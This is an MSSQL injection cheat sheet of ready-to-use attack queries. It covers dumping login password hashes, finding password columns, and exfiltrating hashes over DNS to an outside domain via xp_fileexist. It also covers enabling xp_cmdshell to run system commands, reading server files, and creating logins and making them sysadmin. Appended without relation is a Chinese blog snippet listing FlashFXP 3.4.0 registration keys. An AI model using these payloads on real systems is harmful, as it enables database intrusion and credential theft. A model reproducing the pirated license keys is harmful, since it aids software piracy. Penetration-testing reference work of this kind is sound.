MSSQL Injection Cheat Sheet

Version	SELECT @@version
Comments	SELECT 1 -- comment SELECT /*comment*/1
Current User	SELECT user_name(); SELECT system_user; SELECT user; SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
List Users	SELECT name FROM master..syslogins
List Password Hashes	SELECT name, password FROM master..sysxlogins -- priv, mssql 2000; SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- priv, mssql 2000.  Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer. SELECT name, password_hash FROM master.sys.sql_logins -- priv, mssql 2005; SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins -- priv, mssql 2005
List Privileges	Impossible?
List DBA Accounts	TODO SELECT is_srvrolemember('sysadmin'); -- is your account a sysadmin?  returns 1 for true, 0 for false, NULL for invalid role.  Also try 'bulkadmin', 'systemadmin' and other values from thedocumentation SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
Current Database	SELECT DB_NAME()
List Databases	SELECT name FROM master..sysdatabases; SELECT DB_NAME(N); -- for N = 0, 1, 2, ...
List Columns	SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- for the current DB only SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable
List Tables	SELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U'; SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable
Find Tables From Column Name	-- NB: This example works only for the current database.  If you wan't to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects). SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' -- this lists table, column for each column containing the word 'password'
Select Nth Row	SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC -- gets 9th row
Select Nth Char	SELECT substring('abcd', 3, 1) -- returns c
Bitwise AND	SELECT 6 & 2 -- returns 2 SELECT 6 & 1 -- returns 0
ASCII Value -> Char	SELECT char(0x41) -- returns A
Char -> ASCII Value	SELECT ascii('A') - returns 65
Casting	SELECT CAST('1' as int); SELECT CAST(1 as char)
String Concatenation	SELECT 'A' + 'B' - returns AB
If Statement	IF (1=1) SELECT 1 ELSE SELECT 2 -- returns 1
Case Statement	SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1
Avoiding Quotes	SELECT char(65)+char(66) -- returns AB
Time Delay	WAITFOR DELAY '0:0:5' -- pause for 5 seconds
Make DNS Requests	declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails ''\\' + @host + '\c$\boot.ini'''); -- nonpriv, works on 2000 declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini'''); -- priv, works on 2005 -- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host.  Messy but necessary. -- Also check out theDNS tunnel feature of sqlninja
Command Execution	EXEC xp_cmdshell 'net user'; -- priv On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default: EXEC sp_configure 'show advanced options', 1; -- priv RECONFIGURE; -- priv EXEC sp_configure 'xp_cmdshell', 1; -- priv RECONFIGURE; -- priv
Local File Access	CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM 'c:\boot.ini'; DROP TABLE mydata;
Hostname, IP Address	SELECT HOST_NAME()
Create Users	EXEC sp_addlogin 'user', 'pass'; -- priv
Drop Users	EXEC sp_droplogin 'user'; -- priv
Make User DBA	EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; -- priv
Location of DB files	TODO

FlashFXP3.4.0多国语言版注册码

来自Soncy'Blog
-------------------------
FLASHFXPyQC4DvoHyQAAAADAW5MNJwTnsl79zkc22N1DgsmHAm
EADTNypxkWjQABbRmHecWTOgACnv2vorL01pwwTlkEEul0IOi0
1Us8c+XP3TSvJV1eFvr5eEAv+GEAyaBOaCCEUILCOciRMRs+fh
upStnG3rjbFV3a9pc7rqeMH2hqmYzSf7MIDfm00N68amDO5v4M
IU5ZDulf19hvpj+jr4b0Gd8TVy+dkiH52z6nki3WUTX0OvQbl3
Xx6kYw0WOMFIXOdAzTgA==
--------------------------
[UPDATE]2006.10.30更新信息： for flashfxp 3.4.0 build 1145
--------------------------
FLASHFXPwQAOlhkgwQAAAAC6W5MNJwTnsl73nIraAU149tnCQS
0hmZU3GGBQG1FtoSp5x0mUgA7bFW0qr0fKk2KCA+v2CCrFbF+q
bmLvEjV+4JCAX+H/TBpG7pdEJ8IEW09ST8t60Poou/CTNhxGoz
1Ww0kiyHynU4fOmVK9gQZ5eeMxKzssnhKdor2ibc3OTo+WvErl
omRpMfd15+/2EA/SbxzdwKmX6ybVAYnLe4g3cheOEdD3YnxF5i
4NeTRw